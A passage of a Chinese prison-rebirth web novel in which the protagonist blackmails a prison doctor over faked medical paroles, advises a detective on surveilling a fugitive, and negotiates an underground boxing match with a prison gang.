在第二层靠右的位置,有几盒包装相对较新的药,林燃的眼神锐利,看清了上面的字——“氨茶碱注射液”。
他前世在瘫痪的十年里,母亲为了给他缓解呼吸窘迫,想尽办法弄来过这种药。
这是强效的支气管扩张剂,但副作用之一,就是可能诱发心动过速、心律失常,甚至心室颤动。
对心脏本就有问题的人,剂量稍大,就是催命符。
而刚才苏念晚翻书指出“某些支气管扩张剂”时,眼神曾极其短暂地飘向那个方向,又迅速收回。
一个念头,如同冰冷的毒蛇,倏然窜入林燃脑海。
前世,大约在2001年下半年,安江监狱曾爆出过一桩不大不小的丑闻:
有数名犯人以“严重心脏病”为由,成功申请到“监外就医”,甚至有人借此保外,但后来被查出,其中至少两人的病历存在严重造假,涉事的一名监狱医生被内部处理,调离岗位。
当时消息被压得很死,林燃也是瘫痪后从狱警的只言片语和老犯人的议论中拼凑出来的。
他只记得,那个医生……似乎姓苏。
时间点,药物,姓苏的医生,不自然的神情……
所有的碎片,在这一刻骤然拼接!
林燃缓缓抬起头,看向苏念晚。
他的眼神不再是一个普通犯人看向医生的眼神,而是一种穿透性的、带着了然和审视的锐利。
“苏医生。”
他开口,声音压得很低,只有两人能听清。
“‘氨茶碱’……效果是不是比书上写的那些,还要‘立竿见影’一些?”
苏念晚的身体,几不可察地僵住了。
她脸上那层专业的、疏离的面具,第一次出现了清晰的裂痕。
一丝慌乱从她眼底飞速掠过。
尽管她强迫自己镇定下来,但微微收缩的瞳孔和瞬间屏住的呼吸,逃不过林燃的眼睛。
“我不明白你在说什么。”
她的声音依旧试图保持平稳,但尾音有一丝极细微的颤抖,“那是治疗哮喘的常用药。”
“是吗?”
林燃身体微微前倾,手臂撑在桌沿,形成一种无形的压迫感、
“可我听说,这种药如果用在不该用的人身上,剂量稍微‘调整’一下,
就能让一个心脏本来只是有点小毛病的人,短时间内看起来病得……快要死了。
然后,一份‘监外就医申请’,是不是就顺理成章了?”
苏念晚的脸色“唰”地白了。
她下意识地后退了半步,后背抵住了冰冷的药柜。
诊室里安静得可怕。
门口狱警踱步的脚步声,窗外隐约传来的操练口号,都仿佛被隔绝在了另一个世界。
“你怎么知道这些?”
她问,声音里有种压抑的颤抖。
“这里能人很多,也是道听途说。”
林燃随口道,他总不能和她说“这是警校学的”。
实际当年警校还真教了一些基础医学知识,尤其是毒理学。
老师说过,有些罪犯会利用药物伪造病情,逃避法律制裁。
但此刻只能含混带过。
她的声音终于泄露出一丝惊恐,不再是那个冷静专业的苏医生,而像是一个突然被揭穿秘密的普通女人。
“你……你到底是谁?你想干什么?”
“我是谁不重要。”
林燃看着她,语气平静冷酷。
“重要的是,苏医生,你抽屉里那些还没填完的‘特殊’病历,药柜里那些‘用途广泛’的针剂,还有你身上这块……”
他的目光落在她白大褂口袋里露出一角的、印着某大医院的缴费单。
“苏医生,你做这个应该赚了不少钱吧?”
苏念晚的嘴唇失去了血色,微微发抖。
她终于意识到,眼前这个年轻的犯人,知道的远比她想象的多得多,而且精准地扼住了她的命脉。
伪造病历,协助犯人非法监外就医,这是重罪。
一旦曝光,她的职业生涯彻底终结,牢狱之灾近在眼前。
而更让她绝望的是,她无法反驳。
林燃说的每一句话,都像刀子一样扎在她竭力隐藏的真相上。
“求求你……”最终,心理防线彻底崩溃,她颓然地靠在药柜上,声音带着哽咽,那份强撑的冷静荡然无存。
第三十七章 威胁
“别揭发我……我妈妈尿毒症晚期,每周要做三次透析,进口药、床位费……我所有的工资都不够。
外面那些高利贷……我没有办法……我真的没有办法了……”
泪水在她眼眶里打转,却倔强地没有落下。
她看着林燃,眼神里充满了哀求、恐惧,还有一丝走投无路的绝望。
“你要我做什么都可以……只要你别把这件事说出去……求你了……”
诊室里弥漫着令人窒息的沉默。
林燃看着眼前这个瞬间脆弱下来的女人。
她不再是那个令整个监狱犯人都遐想却又不敢亵渎的“女神医生”。
只是一个被巨额医疗费和黑暗规则压垮的可怜人。
前世母亲为自己奔走、积劳成疾的画面,不受控制地闪过林燃脑海。
那种为至亲之人陷入绝境的痛苦,他感同身受。
冰冷的算计,和一丝不易察觉的恻隐,在他心中交织。
“从现在起。”
林燃开口,声音恢复了之前的平稳,却带着不容置疑的力量。
“我问什么,你答什么。我需要的东西,你想办法给我。你的秘密,就能安全。”
苏念晚像是抓住了最后一根救命稻草,用力点头,泪水终于滑落:
“我答应,我都答应。”
林燃伸出手,不是威胁,而是用指尖,轻轻擦掉了她脸颊上的泪痕。
动作有些突兀,指尖的温热触碰到她冰凉的皮肤,两人都微微一顿。
苏念晚身体一颤,却没有躲开,只是抬起泪眼朦胧的眼睛,困惑而忐忑地看着他。
林燃收回手,目光深沉地看了她一眼。
那一眼里包含了太多复杂的东西——警告、掌控,或许还有一丝连他自己都未察觉的、对于同处绝境之人的微妙联系。
“首先。”
他低声道:
“把二监区陈有仁最近的病历记录,以及你‘建议’他用的药,找机会告诉我。”
苏念晚深吸一口气,抹去眼泪,努力恢复了一些镇定,点了点头。
林燃不再多言,转身走向诊室门口。
在拉开门的前一刻,他停顿了一下,没有回头,声音很轻地飘来:
“你不用紧张,你虽然不是好人,但也不够坏,我现在不会伤害你。”
说完,他拉开诊室门,对门口的狱警点了点头,迈步走入走廊。
门在身后轻轻合上。
苏念晚背靠着药柜,缓缓滑坐到地上,双手捂住脸,肩膀微微抖动。
许久,她才抬起头,望向紧闭的房门,眼神复杂难明。
那里有劫后余生的虚脱,有秘密被掌控的恐惧,还有一丝……对那个年轻犯人深不可测的骇然。
而门外,林燃走在昏暗的监狱走廊里,面色沉静。
意外抓住了苏念晚的这个把柄,让他手中又多了一张牌。
一张通往监狱更深层黑暗,或许也能在某些关键时刻,换取一线生机或重要信息的牌。
最坚固的堡垒,往往从内部开始瓦解。
而人性的弱点,是最有效的钥匙。
他摸了摸手臂上刚刚拆线、还有些刺痒的伤口,嘴角勾起一抹弧度。
游戏,越来越有趣了。
…………
从医务室回到312监舍的路上,林燃的指尖还残留着苏念晚脸颊上那种冰凉的触感,以及泪水滑过皮肤时微微的湿润。
他握了握拳,将那一丝异样的感觉压下去。
在监狱这种地方,任何多余的情绪都是奢侈品,哪怕只有一瞬间。
刚走进监舍铁门,值班狱警就隔着栅栏喊了一声:
“312林燃,准备接见。”
林燃脚步一顿。
接见?母亲上周刚来过,按理说不会这么快。难道是......
“谁?”他问。
狱警翻了下手里的登记本:“姓秦,说是你女朋友,你不知道?”
秦墨。
林燃眼神微凝。
距离上次见面不到两周,她这么急来找自己,应该遇到了棘手的问题需要自己帮忙。
还是那间用厚玻璃隔开的屋子,玻璃上布满细密的金属丝网,说话要靠墙上的通话器。
秦墨已经坐在对面了。
她今天一身深灰色的便装,短发利落地别在耳后,眉眼间带着明显的疲惫,但容貌依旧清丽。
见林燃进来,她微微点头,算是打过招呼。
狱警将林燃固定在椅子上,退到门边站着,目光在两人之间逡巡。
林燃拿起通话器:“有事?”
“长话短说。”
秦墨的声音透过听筒传来,有些失真,“你上次让我查的那个人,有眉目了。”
林燃握着通话器的手紧了紧。
“姚永军,男,1958年生,籍贯山阳。1998年至2000年6月期间,确实在安江市局挂职,职务是副局长,分管......特殊战线工作。”
秦墨说到这里,停顿了一下,抬眼看向林燃,“档案里的原话是‘分管特殊战线工作’,没有具体说明。2000年7月,也就是你入狱后一个月,他调离安江,去向......”
她翻开手边的笔记本,声音压得更低:“去向一栏是空白的,只有‘另行安排’四个字。
我托我爸的关系问了省厅的老熟人,对方只说了一句——‘不该问的别问,那是……’。”
说到这,秦墨竖起食指,往上一指。
这是“上面”的意思。
林燃心里一沉。
他知道对方来路不小。
自己看起来,是卷入了一个难以想象的大漩涡。
难怪前世他申辩自己是卧底时,接警的警察会一脸茫然地说“市局没有姓姚的领导”。
因为姚永军的身份和任务,根本不在普通警员的认知范围内。
可为什么要对付自己?
他百思不得其解。
“还有吗?”
林燃继续问,声音很平静。
秦墨摇摇头:
“就这些。调离后的档案完全查不到,就像这个人消失了一样。我甚至怀疑,‘姚永军’这个名字是不是也只是个代号。”
她看着林燃,眼神复杂,“林燃,如果真是上面的人......你这案子,恐怕比我想象的还要复杂。”
他当然知道。
前世十年瘫痪,十年煎熬,他反复复盘过每一个细节,早就猜到了这种可能性。
第三十八章 蹲守
只是当猜测被证实时,那种冰冷的绝望感依旧会从骨髓里渗出来。
一个被庞大机器抛弃的弃子,要怎么翻案?
“谢谢。”他对着通话器说,“这些信息,对你来说风险不小。”
秦墨抿了抿唇:
“我既然答应帮你查,就会查到底。只是......”
她犹豫了一下。
“如果牵扯到那个层面,光靠我一个人的力量,恐怕不够。”
“我明白。”
林燃点头,“所以今天你来,不只是为了告诉我这些,对吗?”
秦墨深吸一口气,从随身的公文包里抽出一份卷宗复印件,贴在玻璃上让林燃看——但距离太远,字迹模糊不清。
“有个案子,想听听你的看法。”
她说,“不是安江的,是邻省云州市的。跨省协作,我们这边配合协查。”
林燃调整了一下坐姿,示意她继续。
“嫌疑人叫赵永强,男,34岁,云州本地人。
去年11月在云州犯下一起故意杀人案,被害人是当地一个建筑公司的项目经理。
作案后潜逃,至今下落不明。云州警方排查了他所有的社会关系,发现此人反侦察意识极强。
逃亡期间没有使用任何身份证件,没有联系任何亲属,就像人间蒸发了一样。”
秦墨翻了一页卷宗:
“直到上周,赵永强的母亲在老家病逝。云州警方判断,赵永强极有可能冒险回家奔丧。
他老家在云州和安江交界处的一个小镇,叫‘三岔口’,地理位置很特殊——三条省道在那里交汇。
往东是安江,往西是云州,往北能进山。
镇上常住人口不到两千,但因为是交通枢纽,每天过往的车流人流量很大。”
“警方在他父母家附近布控了?”林燃问。
“布了,但效果不理想。”
秦墨眉头紧皱。
“赵永强的父母在镇上开了一家杂货店,店面就在三岔路口正对面,一楼开店,二楼住人。
店铺前后都有门,前面临街,后面是一条小巷子,巷子另一头连着镇上的菜市场。
从早到晚,买东西的、路过的、等车的......人来人往,络绎不绝。”
她用手指在玻璃上虚画了个示意图:
“警方在对面旅馆租了个房间,用望远镜监视,但角度有限,只能看到店铺正面。
也派了便衣在附近蹲守,可那个地方太开阔了,便衣待久了容易被察觉。
而且赵永强如果真回来,很可能不会从正门进——后巷四通八达,随便从哪个岔口拐进来,溜进店里,警方根本发现不了。”
林燃安静地听着,大脑已经开始构建那个小镇的立体图景。
三岔路口,人流密集的杂货店,四通八达的后巷......这确实是个监视的噩梦。
“云州警方现在什么打算?”他问。
“他们想在店铺里安装隐蔽摄像头,但赵永强的父亲很固执,不同意警察‘折腾’,说老伴刚走,不想家里再被弄乱。
便衣警察试着以顾客身份进店探过,店里堆满了货,光线又暗,就算装了摄像头,死角也太多。”
秦墨揉了揉太阳穴。
“而且时间很紧,按当地习俗,停灵三天后下葬,今天已经是第二天了。
明天下午出殡,如果赵永强要回来,最可能就是今天晚上或者明天凌晨。”
她看向林燃,眼神里带着明显的期待:
“我记得你上次分析绑架案的时候,对犯罪心理和环境利用很有一套。这种局面,如果是你,会怎么布控?”
接见室里很安静。
狱警在门口打了个哈欠,目光游离。
玻璃另一侧,秦墨等待着。
林燃闭上眼睛。
三岔路口,杂货店,奔丧的逃犯......
前世的记忆碎片开始翻涌。他想起在警校时,教官讲过的一个案例——
某个连环杀手在母亲葬礼上被捕,因为警方没有在墓园蹲守,而是在殡仪馆的花圈配送车上做了文章。
又想起瘫痪那十年,他躺在床上,靠着听收音机里各种法制节目度日。
有一期讲的就是如何在高流动性区域实施监控,嘉宾是个老刑警,说了一句话:
“人眼的盲区很大,但习惯的盲区更大。”
再往前追溯,更久远的记忆被唤醒——那是他卧底期间,跟着“狗皮蛇”去一个边境小镇接头。
小镇也是三岔路口,也是家临街的店铺。
他们在对面茶馆坐了整整一下午,看着人来人往,最后“狗皮蛇”指着店铺后巷一个收垃圾的老头说:
“那是个眼线。这种地方,你要找的不是警察,是那些每天都在,但没人会注意的人。”
林燃睁开眼。
“你们找错方向了。”他说。
秦墨一愣:“什么?”
“在那种环境里,布控的重点不应该是‘看住店铺’,而是‘看住整条街’。”
林燃身体前倾,手指在膝盖上无意识地划动,仿佛在绘制地图。
“三岔路口,人流大,车辆多,这意味着什么?
意味着那里有一套自然形成的、每天都在运转的生态系统。卖早点的摊主,等客的摩的司机,打扫街道的清洁工,收废品的老头......
这些人从早到晚都在那里,他们熟悉每一张经常出现的脸,熟悉每一辆常来的车。陌生人出现,尤其是那种神色慌张、行为异常的陌生人,他们反而比警察更容易察觉。”
秦墨的眼睛亮了:“你是说......利用当地人?”
“不只是利用,是融入。”
林燃语速加快。
“派两个面生的年轻警察,伪装成外地来找工作的,在三岔路口附近租个短租房。
不要刻意盯着杂货店,而是每天在路口晃悠,跟摩的司机抽烟聊天,去早点摊吃早饭,帮清洁工推推垃圾车。
最多两天,他们就会成为那个‘生态系统’里不被注意的一部分。”
“然后呢?”
“然后等。”
林燃说,“赵永强如果真回来,他不敢从正门进,也不敢在白天出现。
最可能的时间段是凌晨三点到五点——那是小镇最安静的时候,但又是早摊贩开始准备、清洁工上岗的时间。
这个时间段,街上的人很少,但每一个出现的人,都会显得格外突兀。”
第三十九章 造棋子
他顿了顿,指着地图继续道。
“让你们的人重点盯几个位置:
杂货店后巷通往菜市场的那个拐角,这里有个路灯,记得把路灯弄掉,或者叫电力局停电。
还有路口那家通宵营业的加油站,半夜加油的车不多,员工经常在外面抽烟,可以派人模仿伪装。
再有就是......镇上的殡仪服务车。”
秦墨迅速记录:“殡仪车?”
“按习俗,出殡前一天晚上,亲属要守灵。殡仪馆通常会提供一辆小型面包车,方便家属往返运送东西,或者临时接送远道而来的亲戚。”
林燃的眼神变得锐利,
“赵永强如果够聪明,他不会自己走路或坐车进镇子,那样太显眼。
他可能会在镇外几公里下车,然后想办法搭上那辆殡仪车——作为‘远房亲戚’,混在人群里进去。
守灵结束,再趁着凌晨天色未亮,溜进杂货店见父亲最后一面,然后在出殡前离开。”
秦墨倒抽一口凉气。
这个可能性,云州警方完全没有考虑到。
“所以你们需要做的。”
林燃总结道:
“第一,让伪装成打工者的警察融入路口环境;
第二,在凌晨时段重点监控后巷拐角、加油站和殡仪车;
第三,也是最关键的一点——找一个人,去跟赵永强的父亲谈谈。”
“谈?谈什么?”
“不谈警察,不谈案子。”
林燃看着秦墨:
“就以‘远房表亲’或者‘母亲生前老友的儿子’的身份去吊唁,送上一点礼金,坐下来喝杯茶,听听老人回忆老伴的生平。
在谈话中,‘不经意’地提到:‘听说永强在外面做生意,没赶回来?真是可惜......’然后观察老人的反应。”
秦墨立刻明白了:
“如果赵永强已经联系过家里,或者老人知道儿子可能会回来,他的表情、眼神、回答的迟疑程度......都会露出破绽。”
“对。”
林燃点头,“而且这种接触,不会打草惊蛇。就算赵永强真在暗处观察,他也只会觉得这是个普通的吊唁者。”
通话器里传来秦墨有些急促的呼吸声。
她快速记录着,笔尖在纸上划出沙沙的声响。
“还有一点。”
林燃补充道,“杂货店对面不是有家旅馆吗?警方租的房间在几楼?”
“三楼,正对店铺的窗户。”
“太高了。”
林燃摇头。
“视野是开阔,但细节看不清。让一个人换到一楼临街的房间,既能用余光扫到店铺正面,又能通过窗户反射,观察街对面的动静。”
秦墨停下笔,抬头看向林燃。
玻璃隔阂之间,这个戴着镣铐、穿着囚服的年轻人,此刻却精准地剖开了案件最核心的困境。
“这些......”她顿了顿,“都是你从警校学的?”
林燃沉默了几秒。
“有些是,有些......是在这里面想的。”
他指了指自己的太阳穴,
“当你每天除了吃饭、睡觉、劳动,只剩下思考的时候,时间会变得很慢,慢到你能把一件事翻来覆去,想到每一个细节。”
秦墨看着他的眼睛,那里面有某种深不见底的东西,让她心头莫名一紧。
“我会把你的建议反馈给云州警方。”
她合上笔记本,语气郑重,“不管有没有用,都谢谢你。”
“不用谢。”
林燃说,“我们算是......互惠互利。”
秦墨点点头,看了眼墙上的钟:
“时间差不多了。下次探视,我会告诉你案子的进展。另外......”
她犹豫了一下,“你自己在里面,小心点。我听说,安江监狱最近不太平。”
林燃淡淡一笑:“这里什么时候太平过。”
狱警走过来,敲了敲玻璃,示意时间到。
秦墨起身,最后看了林燃一眼,转身离开接见室。
林燃被狱警带起来,重新戴好手铐,押着往回走。
走廊里灯光惨白,脚步声在空旷的空间里回荡。
他脑子里还在复盘刚才的对话。
姚永军大概率是特殊战线的人——这条信息证实了他最坏的猜测。
但也意味着,如果真要翻案,他面对的将是……
而秦墨带来的那个案子,如果赵永强真的被抓获,如果这个案子因为他的建议而告破。
跨省协作的成功案例,对她的职业生涯是一笔不小的资本。
这个案子可以成为他和秦墨之间更牢固的纽带,一个双方都受益的“合作范例”。
对刑警来说,一个漂亮的案子比什么都有用。
回到312监舍,铁门在身后关闭。
刀疤辉三人缩在角落,目光躲闪。周晓阳迎上来,低声问:“林哥,没事吧?”
“没事。”
林燃躺到铺位上,闭上眼睛。
监室里弥漫着汗味、脚臭味和便池的氨水味。
但在这令人窒息的空气里,林燃的大脑却在高速运转。
苏念晚的把柄,秦墨的合作,笑面佛的威胁,姚永军的真相......
这些线头在他脑海里交织,缠绕,逐渐编织成一张网。
窗外传来监狱高墙上的探照灯扫过的声音,光束掠过铁窗,在墙壁上投下转瞬即逝的光斑。
林燃在黑暗中,缓缓勾起嘴角。
当你身处绝境时,每一个看似无关的人,每一件看似偶然的事,都可能成为你破局的棋子。
而好的棋手,不仅要会下棋,还要会——造棋子。
…………
第二天清晨,林燃在哨响前五分钟就睁开了眼。
他保持着仰卧的姿势,静静听了几秒监室里的呼吸声——刀疤辉的沉重且带着痰音,瘦高个的轻浅急促,矮壮个的打鼾,周晓阳的平稳但带着一丝警觉。
每个人都在自己的世界里,被这座水泥笼子囚禁着肉身和梦境。
他坐起身,开始每日例行的囚徒体操。
动作很轻,但每一下都精准地拉伸、收缩着关键肌群。
前世瘫痪十年,让他比任何人都清楚身体的重要性——在这地方,一副好身板是活下去的基础,也是反击的资本。
早饭后是劳动时间。林燃被分到服装车间,负责给成衣钉扣子。
单调、重复、不需要思考的工作,正好让他有时间在脑子里梳理接下来的计划。
中午放风,他在操场东南角的老位置找到了铁头。
这个抢劫犯今天脸色不太好看,见到林燃过来,没等开口就先摇了摇头。
“林哥,现金那事......黄了。”
第四十章 拳手
林燃眉头微蹙:“老拐没路子?”
“不是老拐的问题。”
铁头左右看了看,压低声音。
“是‘码头帮’的人放话了。安江监狱里所有的大额现金兑换,都得经过他们的手。谁要是敢私下走别的渠道......”
他做了个抹脖子的手势。
“我们开始在聊,结果老拐一听要换现金,当场就怂了,连我之前给的‘咨询费’都退了回来。”
“码头帮?”
林燃在记忆里搜索这个名号。
前世他在监狱里待了十年,对各个势力都有所耳闻。
码头帮,顾名思义,控制着安江港一带的走私、偷渡和黑市交易,势力范围从港口延伸到市区,甚至在监狱里都有庞大的关系网。
他们的老大外号“船爷”,据说是个六十多岁的老江湖,很少露面,但手段狠辣。
“对,就是他们。”
铁头苦着脸,“我打听过了,想在监狱里兑现金,只有三条路:
要么走笑面佛那条线,抽成四成;
要么找‘码头帮’,抽成三成五,但他们只认自己人介绍;
还有一条......”他顿了顿,“就是黑拳台的庄家。赢了比赛,当场给现金,也能给外面指定人,但那是拿命换钱。”
林燃沉默地听着。
赌球赚来的点数,虽然能在监狱里换取不错的物资,但终究变不成外面的真金白银。
母亲上次探监时欲言又止的模样浮现在眼前——家里为了他的官司已经掏空积蓄,父亲卧病在床,医药费、生活费......每一笔都是压在那个瘦小女人肩上的重担。
一万块。
至少需要一万块,才能让家里好过一些。
“码头帮的联系人是谁?”
林燃问。
铁头报了个名字:
“‘大眼仔’,四监区的,专门管‘码头帮’在监狱里的钱货进出。但这个人......”他犹豫了一下,“只认钱,不认人。而且想通过他兑现金,得有担保。”
“什么担保?”
“要么是码头帮的自己人作保,要么......”铁头看了林燃一眼,“得有他们看得上的‘本事’。”
林燃懂了。
监狱里的交易,信誉是虚的,实力才是硬通货。
你要么有靠山,要么有让别人不敢赖账的能耐。
“帮我约大眼仔。”他说。
铁头吓了一跳:“林哥,你真要......”
“约在阅览室,下午四点。”林燃打断他,“就说,我想跟他谈笔生意。”
铁头张了张嘴,似乎想劝,但看到林燃的眼神,最终还是把话咽了回去,点了点头。
下午四点,阅览室。
老赵头今天请了病假,顶班的是个年轻狱警,正趴在桌子上打瞌睡。
林燃坐在靠窗的位置,面前摊着一本《刑法总论》,目光却落在窗外操场上。
四点零五分,阅览室的门被推开。
两个人走了进来。
前面的是个大个子,身高至少一米八五,肩宽背厚,走起路来像一座移动的肉山。
但最引人注目的是他的眼睛——大得出奇,眼白多,黑眼珠小,看人时总带着一种漫不经心的凶狠,像在打量待宰的牲口。
这就是“大眼仔”。
跟在他身后的是个瘦小男人,尖嘴猴腮,眼神滴溜溜乱转,一看就是跟班。
大眼仔径直走到林燃对面,拉出椅子坐下。
椅子发出不堪重负的呻吟。
“林燃?”大眼仔开口,声音粗嘎,像砂纸磨铁皮。
“是我。”
林燃合上书。
“铁头说你想兑现金。”大眼仔开门见山,“多少?”
“一万。”
大眼仔挑了挑眉毛——这个动作让他那张横肉丛生的脸显得更狰狞了。
“一万?口气不小。”
他身体前倾,两只大手按在桌面上,“知道规矩吗?”
“三成五抽成,监狱外转账,三天内到账。”
林燃平静地说出铁头打听来的信息。
大眼仔笑了,露出被烟熏黄的牙齿。
“那是老黄历了。”
他说,“现在码头帮的规矩变了。现金兑换,抽成四成,而且要‘等价抵押’。”
“抵押什么?”
“点数、货,或者......”大眼仔那双大得吓人的眼睛在林燃身上扫了一圈,“人。”
林燃没说话,等他的下文。
“我听说了你的事。搞足球赌盘,废了阿彪,还在笑面佛那儿全身而退。”
大眼仔从口袋里摸出一包红塔山,抽出一根叼在嘴上,也不点,就这么干嘬着。
“是个人物。但我们码头帮不做没把握的买卖。一万块,按四成抽,你能拿到六千。
但前提是,你得证明这六千花在你身上,值。”
“怎么证明?”
大眼仔把烟从嘴上拿下来,在手指间转着。
“下个月第三个周六,黑拳台有一场‘新人试炼赛’。”
他说:“码头帮有个新人要上场,对手是五监区的‘猴子’。赔率已经开出来了,猴子1赔1.3,我们的人1赔2.5。”
林燃听懂了:“你想让我押你们的人赢?”
“不。”
大眼仔摇头,那双大得瘆人的眼睛直勾勾盯着林燃。
“我想让你替我们的人上场。”
阅览室里瞬间安静下来。
连那个打瞌睡的年轻狱警都似乎被这突如其来的寂静惊动,迷迷糊糊地抬了下头,又趴了回去。
林燃看着大眼仔,脸上没什么表情。
“理由?”
“第一,我们那个新人前天劳动时被机器砸了手,骨头断了,上不了台。”
大眼仔说,“第二,我查过你。入狱后干翻了两拨人,动作干净利落,是练家子。第三......”
他顿了顿,声音压低:
“你之前那赌盘,是谁举报的,还不明白嘛?现在有个让你报仇的机会,你去不去?”
对方这是暗示之前的赌球局就是笑面佛举报的,这个监狱里果然没有秘密。
“笑面佛最近在找能打的新人,想培养起来对付‘医生’,如果你能在这场试炼赛里打出名堂,不仅能拿到现金,下一步,我们还要培养你,去干掉笑面佛的新人。”
林燃笑了,很淡的笑,但笑意没到眼底。
第四十一章 交易
“大眼哥考虑得很周全。”
他说,
“但有几个问题。第一,我凭什么相信你们会兑现承诺?万一我赢了,你们赖账怎么办?”
“码头帮在安江混了三十年,从里到外,都有面,靠的就是信誉。”
大眼仔咧嘴一撇:
“你可以出去打听打听,我们答应的事,有没有一次没办到。”
“第二,”林燃继续说,
“‘猴子’是公认的拳台高手,我一个新手上台,输的概率很大。
如果我输了,不仅拿不到钱,还可能受伤甚至残废。这笔买卖,对我而言风险太高。”
“所以才有1赔2.5的赔率。”
大眼仔回答,“而且,如果你答应上场,码头帮可以先预付三千。赢了,再给剩下的三千。
输了......”他耸耸肩,“那三千就当医药费。”
三千。
林燃在心里快速计算。
三千块,够母亲撑三个月。如果赢了,再加三千,就是六千,能解决家里大半年的开销。
这明明是自己做赌局弄的钱,想寄出去,却要这么艰难。
而输的代价......可能是断几根骨头,可能是内伤,也可能,是命。
但监狱里的每一口饭,每一口水,哪一个不是用命换来的?
“我需要考虑。”林燃说。
“考虑可以,但时间不多。”
大眼仔站起身,巨大的身躯投下的阴影几乎把林燃整个罩住。
“试炼赛在下周六晚上,今天周四。最晚明天中午给我答复。”
他转身要走,又停住,回头看了林燃一眼。
“顺便说一句,笑面佛那边,我已经打过招呼了。
如果你答应上场,他保证不会动你——毕竟,他也想看看你的斤两。”
说完,他带着跟班离开了阅览室。
门关上,房间里只剩下林燃一个人。
窗外的操场上,犯人们三三两两地走着,像一群被圈养的兽。
高墙、电网、夕阳。
林燃坐了很久。
直到放风结束的哨声响起,他才缓缓起身,把那本《刑法总论》放回书架。
…………
晚上,监室熄灯后。
林燃躺在铺位上,睁着眼睛。
刀疤辉三人在角落里发出均匀的鼾声,周晓阳的呼吸很轻,显然还没睡着。
“晓阳。”林燃用气声喊。
对面铺位立刻传来窸窣声,周晓阳凑了过来。
“林哥?”
“帮我做件事。”
林燃说,“明天劳动间隙,去找铁头,让他帮我打听三件事。”
“你说。”
“第一,最近三个月黑拳台上‘猴子’的所有比赛记录,包括对手、用时、胜负、致伤情况。越详细越好。”
“第二,码头帮在监狱里的势力分布,特别是他们和笑面佛的关系。是合作,是对立,还是互相利用?”
“第三......”林燃顿了顿,“查查那个叫‘医生’的。五监区,神秘,下手狠。我要知道他的所有信息。”
周晓阳一一记下,犹豫了一下,还是问:“林哥,你要打黑拳?”
林燃没直接回答,只说:“家里需要钱。”
周晓阳沉默了。
他想起自己入狱前,母亲为了给他打点,把家里唯一值钱的缝纫机都卖了。
那种走投无路的感觉,他懂。
“小心点。”他最终只说了一句。
“放心。”
林燃说,“我不会做没把握的事。”
…………
第二天中午,放风时间。
林燃在操场角落等到了铁头。
这个赌博犯跑得气喘吁吁,脸上带着兴奋和紧张混杂的表情。
“林哥,打听到了!”
他压低声音,语速很快。
“‘猴子’的本名叫侯勇,以前在武校练过六年,擅长洪拳,身法特别滑,速度很快。
最近三个月打了五场,四胜一负。最长的打了十五分钟,最短的只用了三分钟就把对手的锁骨踢断了。”
铁头从怀里掏出一张皱巴巴的纸,上面用铅笔歪歪扭扭地画着一些记录:
“这是他五场比赛的详细情况。第四场他对上的是二监区的‘疤脸’。
两个人打了十二分钟,最后猴子用一招‘连环踢’把疤脸的小腿胫骨踢裂了。那一场赔率是1赔2.1,猴子赢。”
林燃接过纸,快速扫过上面的信息。
侯勇,26岁,身高一米七五,体重六十五公斤左右。
擅长腿法,攻击距离长,喜欢游走消耗,找准机会一击致命。弱点是力量相对不足,近身缠斗能力一般。
“这些评价哪来的?”
铁头咧嘴笑道:“嘿嘿,我写的,你知道我以前就组赌局的。
德州、斗狗、斗鸡这些带彩的活动我都喜欢看,这黑拳是安江最热闹的娱乐了!
打拳那天过节一样,我也就记了蛮多噻。”
林燃不置可否的点了点头。
“码头帮和笑面佛的关系呢?”他又问。
铁头舔了舔嘴唇,声音压得更低:
“这个比较复杂。表面上,两家井水不犯河水。
笑面佛控制着监狱里的赌场和走私,码头帮控制着现金兑换和外头的物流。
但据说两边私下有合作——笑面佛需要码头帮的现金渠道洗钱,码头帮需要笑面佛在市场上的势力。”
他顿了顿:
“不过最近好像有点不对劲。码头帮的老大‘船爷’身体不行了,他儿子‘小霸王’想接班。
但笑面佛觉得小霸王太嫩,想趁机吞掉码头帮在监狱里的生意。
两边明面上没撕破脸,但底下已经较上劲了,这里面的黑拳你还真不能看作普通的监狱斗殴。
这都是几个大佬在里面的‘斗兽场’,外面都有赌注的!很多人关注的!
就和地下斗犬那些一样,赢了的老大,面子都有光。”
林燃眼神微动。
这就解释了大眼仔为什么急着要找新人打拳——码头帮需要一个新打手,巩固自己在监狱里的地位。
而如果他林燃能在拳台上击败猴子,不仅能让码头帮扬眉吐气,还能赚钱,也能提升自己的威望,还能和码头帮拉近关系。
一箭双雕。
“那个‘医生’呢?”他继续问。
铁头脸上露出忌惮的表情:
“这个人......很邪门。”
第四十二章 备战
“他真名叫欧丹,外号‘医生’是因为他下手特别‘专业’——不打要害,但专挑关节、韧带下手。
被他打过的人,不是手废就是脚残,但都死不了。有人说他以前真的是医生,也有人说他是法医。
他在五监区单独住一间牢房,平时很少出来,但每个月都会上一场拳台,对手都是各个监区数一数二的高手。”
“战绩?”
“八场,全胜。”铁头咽了口唾沫,
“最可怕的是,他每场比赛的时间都不超过五分钟。最短的一场,只用了四十七秒,就把一监区‘铁拳李’的右手腕关节整个卸脱臼了,现在铁拳李的右手还使不上劲。”
林燃默默记下这些信息。
医生,神秘,下手精准,战力恐怖。
铁头奇怪问道:“哥,你这和‘医生’还没碰面呢,怎么这么早就查他的信息?”
林燃笑了笑:“有备无患嘛。”
实际上,他是觉得笑面佛想培养新人对付他,说明两人之间必有恩怨。
说不定可以利用。
“林哥,你真要打啊?”见林燃认真,铁头担忧地问,“猴子不好对付,万一......”
“没有万一。”
林燃打断他,把那张记录纸折好塞进口袋,“帮我给大眼仔带句话。”
“什么话?”
“我答应上场。但条件要改。”
铁头一愣:“怎么改?”
“预付五千,不管输赢,钱先给我。如果我赢了,再付五千。总共一万。”
林燃看着铁头,眼神平静,“另外,我需要一把能藏在身上的小刀。”
铁头脸色一变:“林哥,刀可是违禁品,被查到要加刑的!”
“我知道。”林燃说,“所以才要找码头帮。他们有的是办法把这些东西弄进来。”
“你要刀干什么?”
林燃没回答,只是问:“话能带到吗?”
铁头犹豫了几秒,一咬牙:“能!大眼仔下午在锅炉房值班,我这就去找他!”
“不急。”
林燃叫住他,“下午四点,阅览室见。我亲自跟他谈。”
…………
下午四点,同一间阅览室,同一张桌子。
大眼仔准时出现,这次只带了一个跟班。
“铁头跟我说了你的条件。”
他开门见山,“预付五千,可以,事后五千也可以,等于你这次换现金就不抽成了。
但你要刀干什么?拳台上不准用武器,这是规矩。”
“防身。”林燃说。
“拳台上不用,不代表之后安全。”
